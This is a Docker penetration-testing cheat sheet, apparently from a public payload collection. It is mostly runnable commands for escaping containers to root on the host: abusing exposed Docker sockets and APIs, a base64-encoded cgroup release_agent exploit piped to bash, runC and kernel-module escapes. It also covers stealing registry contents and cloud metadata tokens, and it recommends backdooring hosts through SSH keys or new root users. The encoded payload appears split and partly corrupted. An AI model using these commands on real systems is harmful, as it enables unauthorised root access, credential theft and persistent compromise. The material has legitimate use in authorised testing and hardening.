Docker Pentest

> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

Summary

Tools

- Dockscan : Dockscan is security vulnerability and audit scanner for Docker installations

```
dockscan unix:///var/run/docker.sock
dockscan -r html -o myreport -v tcp://example.com:5422
```

- DeepCe : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)

```
./deepce.sh
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password
deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
```

Mounted Docker Socket

Prerequisite:

- Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`

Usually found in `/var/run/docker.sock`, for example for Portainer.

```
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-
Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock
http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```

Exploit using brompwnie/ed

```
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout
),26(tape),27(video)
```

Open Docker API Port

Prerequisite:

- Docker runned with `-H tcp://0.0.0.0:XXXX`

```
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12
```

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.

```
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-
opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":
["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged":
true}'
```

From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.

Insecure Docker Registry

Docker Registry's fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.

```
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-
image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-
image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-
image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058'
> out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u
http://admin:admin@docker.registry.local
```

Access a private registry and start a container with one of its image

```
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```

Access a private registry using OAuth Token from Google

```
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-
accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-
accounts/default/token
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```

Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one):

- `--privileged`
- `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.

```
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu
bash -c 'echo
"cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1v
```

```
dW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX
2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPW
BzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF
0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5EXyAiMhL2Jpbi9zaApj
YXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvb
mZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cH
V0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N
0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1
dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9tbXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZW
NobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d |
bash -'
```

Exploit breakdown :

```
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu
bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

Breaking out of Docker via runC

> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team

Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736

```
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-
5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```

Breaking out of containers using a device file

```
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep
```

```
1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow
```

Breaking out of Docker via kernel modules loading

> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.

Exploitation:

- Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
- Build with `make`
- Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
- `cd /root` in the new container
- Insert the kernel module with `./escape`
- Run `./execute`!

Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.

- `/proc/escape` only answers to write requests and simply executes anything that's passed to it via `call_usermodehelper()`.
- `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.

The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.

Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).

The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.

References

- Hacking Docker Remotely - 17 March 2020 - ch0ks
- Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits
- Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon
- Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019
- CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl
- OWASP - Docker Security CheatSheet
- Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017
- Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator